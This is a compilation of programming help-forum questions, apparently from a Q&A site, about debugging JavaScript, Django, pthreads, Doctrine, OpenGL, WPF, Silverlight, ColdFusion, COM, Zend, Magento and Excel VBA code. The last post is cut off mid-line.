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  • What sort of loop structure to compare checkbox matrix with Google Maps markers?

    - by Kirkman14
    I'm trying to build a map of trails around my town. I'm using an XML file to hold all the trail data. For each marker, I have categories like "surface," "difficulty," "uses," etc. I have seen many examples of Google Maps that use checkboxes to show markers by category. However these examples are usually very simple: maybe three different checkboxes. What's different on my end is that I have multiple categories, and within each category there are several possible values. So, a particular trail might have "use" values of "hiking," "biking," "jogging," and "equestrian" because all are allowed. I put together one version, which you can see here: http://www.joshrenaud.com/pd/trails_withcheckboxes3.html In this version, any trail that has any value checked by the user will be displayed on the map. This version works. (although I should point out there is a bug where despite only one category being checked on load, all markers display anyway. After your first click on any checkbox, the map will work properly) However I now realize it's not quite what I want. I want to change it so that it will display only markers that match ALL the values that are checked (rather than ANY, which is what the example above does). I took a hack at this. You can see the result online, but I can't type a link to it because I am new user. Change the "3" in the URL above to a "4" to see it. My questions are about this SECOND url. (trails_withcheckboxes4.html) It doesn't work. I am pretty new to Javascript, so I am sure I have done something totally wrong, but I can't figure out what. My specific questions: Does anyone see anything glaringly obvious that is keeping my second example from working? If not, could someone just suggest what sort of loop structure I would need to build to compare the several arrays of checkboxes with the several arrays of values on any given marker? Here is some of the relevant code, although you can just view source on the examples above to see the whole thing: function createMarker(point,surface,difficulty,use,html) { var marker = new GMarker(point,GIcon); marker.mysurface = surface; marker.mydifficulty = difficulty; marker.myuse = use; GEvent.addListener(marker, "click", function() { marker.openInfoWindowHtml(html); }); gmarkers.push(marker); return marker; } function show() { hide(); var surfaceChecked = []; var difficultyChecked = []; var useChecked = []; var j=0; // okay, let's run through the checkbox elements and make arrays to serve as holders of any values the user has checked. for (i=0; i<surfaceArray.length; i++) { if (document.getElementById('surface'+surfaceArray[i]).checked == true) { surfaceChecked[j] = surfaceArray[i]; j++; } } j=0; for (i=0; i<difficultyArray.length; i++) { if (document.getElementById('difficulty'+difficultyArray[i]).checked == true) { difficultyChecked[j] = difficultyArray[i]; j++; } } j=0; for (i=0; i<useArray.length; i++) { if (document.getElementById('use'+useArray[i]).checked == true) { useChecked[j] = useArray[i]; j++; } } //now that we have our 'xxxChecked' holders, it's time to go through all the markers and see which to show. for (var k=0; k<gmarkers.length; k++) { // this loop runs thru all markers var surfaceMatches = []; var difficultyMatches = []; var useMatches = []; var surfaceOK = false; var difficultyOK = false; var useOK = false; for (var l=0; l<surfaceChecked.length; l++) { // this loops runs through all checked Surface categories for (var m=0; m<gmarkers[k].mysurface.length; m++) { // this loops through all surfaces on the marker if (gmarkers[k].mysurface[m].childNodes[0].nodeValue == surfaceChecked[l]) { surfaceMatches[l] = true; } } } for (l=0; l<difficultyChecked.length; l++) { // this loops runs through all checked Difficulty categories for (m=0; m<gmarkers[k].mydifficulty.length; m++) { // this loops through all difficulties on the marker if (gmarkers[k].mydifficulty[m].childNodes[0].nodeValue == difficultyChecked[l]) { difficultyMatches[l] = true; } } } for (l=0; l<useChecked.length; l++) { // this loops runs through all checked Use categories for (m=0; m<gmarkers[k].myuse.length; m++) { // this loops through all uses on the marker if (gmarkers[k].myuse[m].childNodes[0].nodeValue == useChecked[l]) { useMatches[l] = true; } } } // now it's time to loop thru the Match arrays and make sure they are all completely true. for (m=0; m<surfaceMatches.length; m++) { if (surfaceMatches[m] == true) { surfaceOK = true; } else if (surfaceMatches[m] == false) {surfaceOK = false; break; } } for (m=0; m<difficultyMatches.length; m++) { if (difficultyMatches[m] == true) { difficultyOK = true; } else if (difficultyMatches[m] == false) {difficultyOK = false; break; } } for (m=0; m<useMatches.length; m++) { if (useMatches[m] == true) { useOK = true; } else if (useMatches[m] == false) {useOK = false; break; } } // And finally, if each of the three OK's is true, then let's show the marker. if ((surfaceOK == true) && (difficultyOK == true) && (useOK == true)) { gmarkers[i].show(); } } }

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  • 'NoneType' object has no attribute 'day'

    - by Asinox
    Hi guy, i dont know where is my error, but Django 1.2.1 is give this error: 'NoneType' object has no attribute 'day' when i try to save form from the Administrator Area models.py from django.db import models from django.contrib.auth.models import User class Editorial(models.Model): titulo = models.CharField(max_length=250,help_text='Titulo del editorial') editorial = models.TextField(help_text='Editorial') slug = models.SlugField(unique_for_date='pub_date') autor = models.ForeignKey(User) pub_date = models.DateTimeField(auto_now_add=True) activa = models.BooleanField(verbose_name="Activa") enable_comments = models.BooleanField(verbose_name="Aceptar Comentarios",default=False) editorial_html = models.TextField(editable=False,blank=True) def __unicode__(self): return unicode(self.titulo) def get_absolute_url(self): return "/editorial/%s/%s/" % (self.pub_date.strftime("%Y/%b/%d").lower(), self.slug) class Meta: ordering=['-pub_date'] verbose_name_plural ='Editoriales' def save(self,force_insert=False, force_update=False): from markdown import markdown if self.editorial: self.editorial_html = markdown(self.editorial) super(Editorial,self).save(force_insert,force_update) i dont know why this error, thanks guys sorry with my English

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  • pthread windows event equivalent question

    - by ScaryAardvark
    I have the following code which replicates the windows manual and auto reset events. class event { public: event( bool signalled = false, bool ar = true ) : _auto( ar ), _signalled( signalled ) { pthread_mutex_init( &_mutex, NULL ); pthread_cond_init( &_cond, NULL ); } ~event() { pthread_cond_destroy( &_cond ); pthread_mutex_destroy( &_mutex ); } void set() { pthread_mutex_lock( &_mutex ); // only set and signal if we are unset if ( _signalled == false ) { _signalled = true; pthread_cond_signal( &_cond ); } pthread_mutex_unlock( &_mutex ); } void wait() { pthread_mutex_lock( &_mutex ); while ( _signalled == false ) { pthread_cond_wait( &_cond, &_mutex ); } // if we're an autoreset event, auto reset if ( _auto ) { _signalled = false; } pthread_mutex_unlock( &_mutex ); } void reset() { pthread_mutex_lock( &_mutex ); _signalled = false; pthread_mutex_unlock( &_mutex ); } private: pthread_mutex_t _mutex; pthread_cond_t _cond; bool _signalled; bool _auto; }; My question surrounds the "optimisation" I've put in place in the set() method where I only call pthread_cond_signal() if the event was unsignalled. Is this a valid optimisation or have I introduced some subtle flaw by doing so.

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  • Doctrine unsigned validation error storing created_at

    - by Alex Dean
    Hi, I'm having problems with the Timestampable functionality in Doctrine 1.2.2. The error I get on trying to save() my Record is: Uncaught exception 'Doctrine_Validator_Exception' with message 'Validation failed in class XXX 1 field had validation error: * 1 validator failed on created_at (unsigned) ' in ... I've created the relevant field in the MySQL table as: created_at DATETIME NOT NULL, Then in setTableDefinition() I have: $this->hasColumn('created_at', 'timestamp', null, array( 'type' => 'timestamp', 'fixed' => false, 'unsigned' => false, 'primary' => false, 'notnull' => true, 'autoincrement' => false, )); Which is taken straight from the output of generateModelsFromDb(). And finally my setUp() looks like: public function setUp() { parent::setUp(); $this->actAs('Timestampable', array( 'created' => array( 'name' => 'created_at', 'type' => 'timestamp', 'format' => 'Y-m-d H:i:s', 'disabled' => false, 'options' => array() ), 'updated' => array( 'disabled' => true ))); } (I've tried not defining all of those fields for 'created', but I get the same problem.) I'm a bit stumped as to what I'm doing wrong - for one thing I can't see why Doctrine would be running any unsigned checks against a 'timestamp' datatype... Any help gratefully received! Alex

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  • Vertex buffer acting strange? [on hold]

    - by Ryan Capote
    I'm having a strange problem, and I don't know what could be causing it. My current code is identical to how I've done this before. I'm trying to render a rectangle using VBO and orthographic projection.   My results:     What I expect: 3x3 rectangle in the top left corner   #include <stdio.h> #include <GL\glew.h> #include <GLFW\glfw3.h> #include "lodepng.h"   static const int FALSE = 0; static const int TRUE = 1;   static const char* VERT_SHADER =     "#version 330\n"       "layout(location=0) in vec4 VertexPosition; "     "layout(location=1) in vec2 UV;"     "uniform mat4 uProjectionMatrix;"     /*"out vec2 TexCoords;"*/       "void main(void) {"     "    gl_Position = uProjectionMatrix*VertexPosition;"     /*"    TexCoords = UV;"*/     "}";   static const char* FRAG_SHADER =     "#version 330\n"       /*"uniform sampler2D uDiffuseTexture;"     "uniform vec4 uColor;"     "in vec2 TexCoords;"*/     "out vec4 FragColor;"       "void main(void) {"    /* "    vec4 texel = texture2D(uDiffuseTexture, TexCoords);"     "    if(texel.a <= 0) {"     "         discard;"     "    }"     "    FragColor = texel;"*/     "    FragColor = vec4(1.f);"     "}";   static int g_running; static GLFWwindow *gl_window; static float gl_projectionMatrix[16];   /*     Structures */ typedef struct _Vertex {     float x, y, z, w;     float u, v; } Vertex;   typedef struct _Position {     float x, y; } Position;   typedef struct _Bitmap {     unsigned char *pixels;     unsigned int width, height; } Bitmap;   typedef struct _Texture {     GLuint id;     unsigned int width, height; } Texture;   typedef struct _VertexBuffer {     GLuint bufferObj, vertexArray; } VertexBuffer;   typedef struct _ShaderProgram {     GLuint vertexShader, fragmentShader, program; } ShaderProgram;   /*   http://en.wikipedia.org/wiki/Orthographic_projection */ void createOrthoProjection(float *projection, float width, float height, float far, float near)  {       const float left = 0;     const float right = width;     const float top = 0;     const float bottom = height;          projection[0] = 2.f / (right - left);     projection[1] = 0.f;     projection[2] = 0.f;     projection[3] = -(right+left) / (right-left);     projection[4] = 0.f;     projection[5] = 2.f / (top - bottom);     projection[6] = 0.f;     projection[7] = -(top + bottom) / (top - bottom);     projection[8] = 0.f;     projection[9] = 0.f;     projection[10] = -2.f / (far-near);     projection[11] = (far+near)/(far-near);     projection[12] = 0.f;     projection[13] = 0.f;     projection[14] = 0.f;     projection[15] = 1.f; }   /*     Textures */ void loadBitmap(const char *filename, Bitmap *bitmap, int *success) {     int error = lodepng_decode32_file(&bitmap->pixels, &bitmap->width, &bitmap->height, filename);       if (error != 0) {         printf("Failed to load bitmap. ");         printf(lodepng_error_text(error));         success = FALSE;         return;     } }   void destroyBitmap(Bitmap *bitmap) {     free(bitmap->pixels); }   void createTexture(Texture *texture, const Bitmap *bitmap) {     texture->id = 0;     glGenTextures(1, &texture->id);     glBindTexture(GL_TEXTURE_2D, texture);       glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);     glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);     glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);     glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);       glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, bitmap->width, bitmap->height, 0,              GL_RGBA, GL_UNSIGNED_BYTE, bitmap->pixels);       glBindTexture(GL_TEXTURE_2D, 0); }   void destroyTexture(Texture *texture) {     glDeleteTextures(1, &texture->id);     texture->id = 0; }   /*     Vertex Buffer */ void createVertexBuffer(VertexBuffer *vertexBuffer, Vertex *vertices) {     glGenBuffers(1, &vertexBuffer->bufferObj);     glGenVertexArrays(1, &vertexBuffer->vertexArray);     glBindVertexArray(vertexBuffer->vertexArray);       glBindBuffer(GL_ARRAY_BUFFER, vertexBuffer->bufferObj);     glBufferData(GL_ARRAY_BUFFER, sizeof(Vertex) * 6, (const GLvoid*)vertices, GL_STATIC_DRAW);       const unsigned int uvOffset = sizeof(float) * 4;       glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, sizeof(Vertex), 0);     glVertexAttribPointer(1, 2, GL_FLOAT, GL_FALSE, sizeof(Vertex), (GLvoid*)uvOffset);       glEnableVertexAttribArray(0);     glEnableVertexAttribArray(1);       glBindBuffer(GL_ARRAY_BUFFER, 0);     glBindVertexArray(0); }   void destroyVertexBuffer(VertexBuffer *vertexBuffer) {     glDeleteBuffers(1, &vertexBuffer->bufferObj);     glDeleteVertexArrays(1, &vertexBuffer->vertexArray); }   void bindVertexBuffer(VertexBuffer *vertexBuffer) {     glBindVertexArray(vertexBuffer->vertexArray);     glBindBuffer(GL_ARRAY_BUFFER, vertexBuffer->bufferObj); }   void drawVertexBufferMode(GLenum mode) {     glDrawArrays(mode, 0, 6); }   void drawVertexBuffer() {     drawVertexBufferMode(GL_TRIANGLES); }   void unbindVertexBuffer() {     glBindVertexArray(0);     glBindBuffer(GL_ARRAY_BUFFER, 0); }   /*     Shaders */ void compileShader(ShaderProgram *shaderProgram, const char *vertexSrc, const char *fragSrc) {     GLenum err;     shaderProgram->vertexShader = glCreateShader(GL_VERTEX_SHADER);     shaderProgram->fragmentShader = glCreateShader(GL_FRAGMENT_SHADER);       if (shaderProgram->vertexShader == 0) {         printf("Failed to create vertex shader.");         return;     }       if (shaderProgram->fragmentShader == 0) {         printf("Failed to create fragment shader.");         return;     }       glShaderSource(shaderProgram->vertexShader, 1, &vertexSrc, NULL);     glCompileShader(shaderProgram->vertexShader);     glGetShaderiv(shaderProgram->vertexShader, GL_COMPILE_STATUS, &err);       if (err != GL_TRUE) {         printf("Failed to compile vertex shader.");         return;     }       glShaderSource(shaderProgram->fragmentShader, 1, &fragSrc, NULL);     glCompileShader(shaderProgram->fragmentShader);     glGetShaderiv(shaderProgram->fragmentShader, GL_COMPILE_STATUS, &err);       if (err != GL_TRUE) {         printf("Failed to compile fragment shader.");         return;     }       shaderProgram->program = glCreateProgram();     glAttachShader(shaderProgram->program, shaderProgram->vertexShader);     glAttachShader(shaderProgram->program, shaderProgram->fragmentShader);     glLinkProgram(shaderProgram->program);          glGetProgramiv(shaderProgram->program, GL_LINK_STATUS, &err);       if (err != GL_TRUE) {         printf("Failed to link shader.");         return;     } }   void destroyShader(ShaderProgram *shaderProgram) {     glDetachShader(shaderProgram->program, shaderProgram->vertexShader);     glDetachShader(shaderProgram->program, shaderProgram->fragmentShader);       glDeleteShader(shaderProgram->vertexShader);     glDeleteShader(shaderProgram->fragmentShader);       glDeleteProgram(shaderProgram->program); }   GLuint getUniformLocation(const char *name, ShaderProgram *program) {     GLuint result = 0;     result = glGetUniformLocation(program->program, name);       return result; }   void setUniformMatrix(float *matrix, const char *name, ShaderProgram *program) {     GLuint loc = getUniformLocation(name, program);       if (loc == -1) {         printf("Failed to get uniform location in setUniformMatrix.\n");         return;     }       glUniformMatrix4fv(loc, 1, GL_FALSE, matrix); }   /*     General functions */ static int isRunning() {     return g_running && !glfwWindowShouldClose(gl_window); }   static void initializeGLFW(GLFWwindow **window, int width, int height, int *success) {     if (!glfwInit()) {         printf("Failed it inialize GLFW.");         *success = FALSE;        return;     }          glfwWindowHint(GLFW_RESIZABLE, 0);     *window = glfwCreateWindow(width, height, "Alignments", NULL, NULL);          if (!*window) {         printf("Failed to create window.");         glfwTerminate();         *success = FALSE;         return;     }          glfwMakeContextCurrent(*window);       GLenum glewErr = glewInit();     if (glewErr != GLEW_OK) {         printf("Failed to initialize GLEW.");         printf(glewGetErrorString(glewErr));         *success = FALSE;         return;     }       glClearColor(0.f, 0.f, 0.f, 1.f);     glViewport(0, 0, width, height);     *success = TRUE; }   int main(int argc, char **argv) {          int err = FALSE;     initializeGLFW(&gl_window, 480, 320, &err);     glDisable(GL_DEPTH_TEST);     if (err == FALSE) {         return 1;     }          createOrthoProjection(gl_projectionMatrix, 480.f, 320.f, 0.f, 1.f);          g_running = TRUE;          ShaderProgram shader;     compileShader(&shader, VERT_SHADER, FRAG_SHADER);     glUseProgram(shader.program);     setUniformMatrix(&gl_projectionMatrix, "uProjectionMatrix", &shader);       Vertex rectangle[6];     VertexBuffer vbo;     rectangle[0] = (Vertex){0.f, 0.f, 0.f, 1.f, 0.f, 0.f}; // Top left     rectangle[1] = (Vertex){3.f, 0.f, 0.f, 1.f, 1.f, 0.f}; // Top right     rectangle[2] = (Vertex){0.f, 3.f, 0.f, 1.f, 0.f, 1.f}; // Bottom left     rectangle[3] = (Vertex){3.f, 0.f, 0.f, 1.f, 1.f, 0.f}; // Top left     rectangle[4] = (Vertex){0.f, 3.f, 0.f, 1.f, 0.f, 1.f}; // Bottom left     rectangle[5] = (Vertex){3.f, 3.f, 0.f, 1.f, 1.f, 1.f}; // Bottom right       createVertexBuffer(&vbo, &rectangle);            bindVertexBuffer(&vbo);          while (isRunning()) {         glClear(GL_COLOR_BUFFER_BIT);         glfwPollEvents();                    drawVertexBuffer();                    glfwSwapBuffers(gl_window);     }          unbindVertexBuffer(&vbo);       glUseProgram(0);     destroyShader(&shader);     destroyVertexBuffer(&vbo);     glfwTerminate();     return 0; }

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  • expand/collpase datagrid

    - by prince23
    hi, i have an nested datagrid . i able to bind the values with no issues once i clik teh row i able to show nested grid. now i need to add an image button( like an "+ " Symbol ) at the left corner. once i press this button the grid shows the further records under it. that time i need to repalce the image button with ("--" symbol). i have these two images done. but how to do this is really a big issue now for me.can any one help me out.struck on this issue from past 3 days. plz plz provide an solution on this. i would be really thank full for you guys . am new to silver light this is my code. <sdk:DataGrid MinHeight="100" x:Name="dgCounty" AutoGenerateColumns="False" VerticalAlignment="Top" Grid.Row="1" IsReadOnly="True" Margin="5,5,5,0" RowDetailsVisibilityChanged="dgCounty_RowDetailsVisibilityChanged" RowDetailsVisibilityMode="VisibleWhenSelected"> <sdk:DataGrid.Columns> <sdk:DataGridTemplateColumn CanUserReorder="False"> <sdk:DataGridTemplateColumn.CellTemplate> <DataTemplate> <Button Content="+" Click="Button_Click"></Button> </DataTemplate> </sdk:DataGridTemplateColumn.CellTemplate> </sdk:DataGridTemplateColumn> <sdk:DataGridTextColumn Header="ID" Width="100" Binding="{Binding EmployeeID}" CanUserReorder="False"/> <sdk:DataGridTextColumn Header="FirstName" Width="80" Binding="{Binding EmployeeFName}" CanUserReorder="False"/> <sdk:DataGridTextColumn Header="LastName" Width="80" Binding="{Binding EmployeeLName}" CanUserReorder="False"/> <sdk:DataGridTextColumn Header="MailID" Width="80" Binding="{Binding EmployeeMailID}" CanUserReorder="False"/> </sdk:DataGrid.Columns> <sdk:DataGrid.RowDetailsTemplate> <DataTemplate> <sdk:DataGrid x:Name="dgrdRowDetail" Width="400" AutoGenerateColumns="False" HorizontalAlignment="Center" IsReadOnly="True" > <sdk:DataGrid.Columns> <sdk:DataGridTextColumn Header="CompanyName" Binding="{Binding CompanyName}"/> <sdk:DataGridTextColumn Header="CompanyID" Binding="{Binding CompanyID}"/> <sdk:DataGridTemplateColumn Header="Score"> <sdk:DataGridTemplateColumn.CellTemplate> <DataTemplate > <StackPanel Loaded ="StackPanel_Loaded" Orientation="Horizontal" Background="Transparent"> <TextBlock Text="{Binding Score}" TextWrapping="NoWrap" HorizontalAlignment="Center" Foreground="Blue"></TextBlock> <!--<Image Source ="../Images/image1.JPG" Width="20" Height="20" Stretch ="Fill"/>--> <Image x:Name="imgScore" Source ="{Binding Score}" Width="20" Height="20" Stretch ="Fill"/> <sdk:Label Content="Score" /> </StackPanel> </DataTemplate> </sdk:DataGridTemplateColumn.CellTemplate> </sdk:DataGridTemplateColumn> </sdk:DataGrid.Columns> </sdk:DataGrid> private void Button_Click(object sender, RoutedEventArgs e) { //how to handle this issue. } if possiable plz provide the code that can help me out.

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  • Multi Select Checkbox using ListView

    - by Parsa
    I have a CheckBox in the header of ListView. I write a code to select all Checkboxes in ItemTemplate automatically when the user select the checkBox in the header of ListView. This code is useful, when you bind your ListView in DataPager_PreRender. protected void DataPager1_PreRender(object sender, EventArgs e) { //get the user id of the current user Guid userGuid = (Guid)Membership.GetUser().ProviderUserKey; ListView1.DataSource = MyClass.MyStaticMethod(userGuid.ToString()); ListView1.DataBind(); } protected void ListView1_ItemCreated(object sender, ListViewItemEventArgs e) { //Find the checkBox in each Row CheckBox checkBoxRow = e.Item.FindControl("CheckBoxRow") as CheckBox; //Assign the value of checkBoxHeader to the checkBoxRow checkBoxRow.Checked = CheckBoxHeader.Checked; } protected void ListView1_PagePropertiesChanged(object sender, EventArgs e) { // assign false value to the CheckBoxHeader when user click on the DataPager // so if checkboxheader is true in the page 1, when user select Page 2,this check box will be false // therefore all checkbox rows will be false in the new page. if (CheckBoxHeader.Checked == true) CheckBoxHeader.Checked = false; }

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  • Why does my co-worker see a different Project file (*.csproj) using Visual Source Safe

    - by Leo Zhang
    Hello everybody, I met a problem which is very strange, my company uses Visual Source Safe to control version,but I found that my team's different member see the same .csproj file in VSS is not the same, it's very strange,can you help me? thanks!! there is a file named IPRA.WinUi.Sal.Sra.csproj in VSS: when Tom log on ,the file 'IPRA.WinUi.Sal.Sra.csproj' is : <Reference Include="Ark.Client.WinUi, Version=2.0.0.0, Culture=neutral, processorArchitecture=MSIL"> <SpecificVersion>False</SpecificVersion> <HintPath>..\ARAF\BusinessFramework\Ark.Client.WinUi.dll</HintPath> </Reference> <Reference Include="Ark.Common.Business, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL" /> <Reference Include="Ark.Controls.Business, Version=0.0.0.0, Culture=neutral, processorArchitecture=MSIL"> <SpecificVersion>False</SpecificVersion> <HintPath>..\ARAF\SystemFramework\Ark.Controls.Business.dll</HintPath> </Reference> But when leo log on,the same file 'IPRA.WinUi.Sal.Sra.csproj' is : <Reference Include="Ark.Client.WinUi, Version=2.0.0.0, Culture=neutral, processorArchitecture=MSIL"> <SpecificVersion>False</SpecificVersion> <HintPath>..\ARAF\BusinessFramework\Ark.Client.WinUi.dll</HintPath> </Reference> <Reference Include="Ark.Common.Business, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL" /> <SpecificVersion>False</SpecificVersion> <HintPath>..\ARAF\BusinessFramework\Ark.Controls.WinUi.dll</HintPath> <Reference Include="Ark.Controls.Business, Version=0.0.0.0, Culture=neutral, processorArchitecture=MSIL"> <SpecificVersion>False</SpecificVersion> <HintPath>..\ARAF\SystemFramework\Ark.Controls.Business.dll</HintPath> </Reference>

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  • jQGrid is not loading data

    - by user324777
    Hi, I am using jqGrid for my data table solution. Below are the configuration codes. $(function() { $("#submitInput").click(function() { alert("I am called...") jQuery("#list").jqGrid({ datatype: "json", url: "http://localhost:1201/admin/someURL.htm", mtype:"POST", height: "auto", colNames:["Column 1", "Column 2", "Column 3", "Column 4", "Column 5"], colModel:[ {name:"col1", index:"col1", sortable:true, resizable:false}, {name:"col2", index:"col2", sortable:true}, {name:"col3", index:"col3", sortable:false, resizable:false}, {name:"col4", index:"col4", sortable:true, resizable:false}, {name:"col5", index:"col5", sortable:true, resizable:false} ], sortname:'col1', sortorder:'asc', pager: $('#pager'), rowNum:10, viewrecords: true, rowList:[10,20,30], caption: 'Some Grid Values', jsonReader: { root: "responseData", page: "currentPage", total: "totalPages", records: "totalFetchedRecords", repeatitems: true, cell: "rowContent", id: "rowID" }, gridComplete: function() { alert("Loading done..."); } }); }); }); My JSON data is coming in following format: "currentPage":"1","responseData":[ {"rowContent":["Col1_Val_000001","Col2_Val_1","Col3_Val_1","Col4_Val_1","Col5_Val_1"],"rowID":"Col1_Val_000001"}, {"rowContent":["Col1_Val_000002","Col2_Val_2","Col3_Val_2","Col4_Val_2","Col5_Val_2"],"rowID":"Col1_Val_000002"} ], "totalFetchedRecords":"50","totalPages":"5"} In my HTML, there is a button with id "submitInput" and a table with id "list". Somehow, this data is not loaded into the grid. Please provide some help. Thanks, Niranjan

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  • Making selectable again a WPF TreeviewITem after the first click

    - by pileggi
    Hi, I have a TreeVIew WPF with 2 Levels of Data. I have deleted the ToogleButton from the TreeViewItemTemplate. Now I'd like to expand / collapse the groups with a single mouse-click (not with a double click as the default behaviour). I have tried in this way: Private Sub tvArt_SelectedItemChanged(ByVal sender As System.Object, _ ByVal e As RoutedPropertyChangedEventArgs(Of System.Object)) Handles tvArt.SelectedItemChanged If e.NewValue Is Nothing = False Then Dim ri As P_RicambiItem = TryCast(e.NewValue, P_RicambiItem) If ri Is Nothing = False Then If ri.isExpanded Then ri.isExpanded = False Else ri.isExpanded = True End If ri.isSelected = False End If End If End Sub Using my properties "isExpanded" and "isSelected" in the collection data source. But it works only halfway: after the first click, infact, I can't click for a second time on the same item, because, even if I've deselected it, the event handler "remembers" that it was the last selected item and it doesn't capture the event "SelectedItemChanged". How can I do? Thanks a lot, Pileggi

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  • WPF multitrigger referencing 2 other controls

    - by BrettRobi
    I have two CheckBoxes and a TextBox. I want to TextBox to have IsEnabled=False if both CheckBoxes have IsChecked=False. Can I do this with a MultiTrigger? I keep getting errors trying to use the Source property. I have it working with MultiDataTriggers as you can see below. But have two questions. 1) Is this my only choice? Can I do it with a MultiTrigger? <TextBox.Style> <Style TargetType="TextBox"> <Style.Triggers> <MultiDataTrigger> <MultiDataTrigger.Conditions> <Condition Binding="{Binding ElementName=uxDmm , Path=IsChecked}" Value="False" /> <Condition Binding="{Binding ElementName=uxGpm , Path=IsChecked}" Value="False" /> </MultiDataTrigger.Conditions> <Setter Property="IsEnabled" Value="False" /> </MultiDataTrigger> </Style.Triggers> </Style> </TextBox.Style> 2) Can I do this outside of the tag? I'm not really sure where Triggers can be applied, most samples do it within Style or DataTemplates, but defining it within a Style is messing up my default look and feel for the TextBox.

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  • error : java.lang.String cannot be cast to coldfusion.cfc.CFCBeanProxy anyone know about this ?

    - by faheem
    Hi does anyone know about this error I get when I try to insert a foreign key value in my entry entity using cf9 Hibernate ? java.lang.ClassCastException: java.lang.String cannot be cast to coldfusion.cfc.CFCBeanProxy Root cause :org.hibernate.HibernateException: java.lang.ClassCastException: java.lang.String cannot be cast to coldfusion.cfc.CFCBeanProxy Below is the code for my entity object and then for my user object.. Is there anything wrong with this ? entry.cfc /** * Entries Object */ component output="false" persistent="true"{ property name="entry_id" fieldType="id" generator="uuid"; property name="entryBody" ormType="text"; property name="title" notnull="true" type="string"; property name="time" fieldtype="timestamp"; property name="isCompleted" ormType="boolean" dbdefault="0" default="false"; property name="userID" fieldtype="many-to-one" fkcolumn="userID" cfc="user"; Entry function init() output=false{ return this; } } user.cfc /** * Users Object */ component output="false" persistent="true"{ property name="userID" fieldType="id" generator="uuid"; property name="firstName" notnull="true" type="string"; property name="lastName" notnull="true" type="string"; property name="password" notnull="true" type="string"; property name="userType" notnull="true" type="string"; //property name="entry" fieldtype="one-to-many" type="array" fkcolumn="userID" cfc="entry"; User function init() output=false{ return this; } }

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  • How to hide GetType() method from COM?

    - by ticky
    I made an automation Add-In for Excel, and I made several functions (formulas). I have a class which header looks like this (it is COM visible): [ClassInterface(ClassInterfaceType.AutoDual)] [ComVisible(true)] public class Functions {} In a list of methods, I see: ToString(), Equals(), GetHashCode() and GetType() methods. Since all methods of my class are COM visible, I should somehow hide those 4. I succeeded with 3 of them: ToString(), Equals(), GetHashCode() but GetType() cannot be overriden. Here is what I did with 3 of them: [ComVisible(false)] public override string ToString() { return base.ToString(); } [ComVisible(false)] public override bool Equals(object obj) { return base.Equals(obj); } [ComVisible(false)] public override int GetHashCode() { return base.GetHashCode(); } This doesn't work: [ComVisible(false)] public override Type GetType() { return base.GetType(); } Here is the error message in Visual Studio when compile: ..GetType()': cannot override inherited member 'object.GetType()' because it is not marked virtual, abstract, or override So, what should I do to hide the GetType() method from COM?

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  • Zend_Form - The mimetype of file 'foto.jpg' could not be detected

    - by vian
    I have a Zend_Form with file element like this: ->addElement('file', 'image', array( 'required' => false, 'label' => 'Venue Image', 'validators' => array( array('IsImage', false), array('Size', false, '2097152'), array('Upload', false), ), )) And when I'm using localhost the image is uploaded successfully. But when I move to my hosting the validation error shows for image field. The mimetype of file 'foto.jpg' could not be detected. What can be the reason of this?

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  • Magento loadByAttribute for Custom Category Attributes

    - by Chris
    I have created custom attributes for a category in my module's install script like so: $attrib = array( 'type' => 'varchar', 'group' => 'My Data', 'backend' => '', 'frontend' => '', 'label' => 'My Custom Field', 'input' => 'text', 'class' => '', 'source' => '', 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE, 'visible' => true, 'required' => false, 'user_defined' => false, 'default' => '', 'searchable' => false, 'filterable' => false, 'comparable' => false, 'visible_on_front' => false, 'unique' => true, ); $installer->addAttribute(3, 'custom_field', $attrib); The field shows up fine in the admin, and when I create the category in my script like so: $p_category = Mage::getModel('catalog/category') ->setStoreId(0) ->load(2); $category = Mage::getModel('catalog/category'); $category->setStoreId(0) ->setName('Test Category') ->setCustomField('abcd') ->setDisplayMode('PRODUCTS') ->setAttributeSetId($category->getDefaultAttributeSetId()) ->setIsActive(1) ->setIsAnchor(1) ->setPath(implode('/',$p_category->getPathIds())) ->setInitialSetupFlag(true) ->save(); I can see the value 'abcd' in the Magneto admin interface. But when I call the code below: <?php $category = Mage::getModel('catalog/category')->loadByAttribute('custom_field', 'abcd'); print_r($category); ?> I get no result. But if I loadByAttribute using the 'name' field set to 'Test Category', I DO get a result. So, in the database, I looked into the catalog_category_entity_varchar table and noticed that the 'name' attribute had an entry for both store_id = 0 AND store_id = 1 whereas the 'custom_field' attribute had only an entry for store_id = 1. When I added a store_id = 0 entry for 'custom_field' with the value set to 'abcd' in the catalog_category_entity_varchar table, loadByAttribute got the expected result. My question is, why is the 'name' field getting a store_id = 0 entry in catalog_category_entity_varchar and my custom field is not? How do I load categories by custom attributes?

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  • Run-time error'9' subscript out of range

    - by Chris
    The error occurs when I rename the file. I need to be able to the macro automatically recognise the change in the file name and apply it to the macro. Is there any way to do this without having to manually change it each time which will no work for what I need this to do Sub OccurenceSort() ' ' OccurenceSort Macro ' Macro recorded 4/9/2010 by Chris Greenlee ' ' Keyboard Shortcut: Ctrl+o ' Sheets("Occurences").Select Range("A1:D58").Select Range("D58").Activate Selection.Sort Key1:=Range("B2"), Order1:=xlDescending, Header:=xlGuess, _ OrderCustom:=1, MatchCase:=False, Orientation:=xlTopToBottom Sheets("Chart").Select ActiveSheet.ChartObjects("Chart 1").Activate ActiveChart.PlotArea.Select ActiveChart.ChartArea.Select ActiveChart.SeriesCollection(1).Values = "=Occurences!R2C2:R12C2" End Sub Sub OccurenceByValue() ' ' OccurenceByValue Macro ' Macro recorded 4/9/2010 by Chris Greenlee ' ' Keyboard Shortcut: Ctrl+v ' ActiveWindow.Visible = False Windows("QA Project - Automated Charts v1.1.xls").Activate Sheets("Occurences").Select Range("A1:D58").Select Range("D58").Activate Selection.Sort Key1:=Range("C2"), Order1:=xlDescending, Header:=xlGuess, _ OrderCustom:=1, MatchCase:=False, Orientation:=xlTopToBottom Sheets("Chart").Select ActiveSheet.ChartObjects("Chart 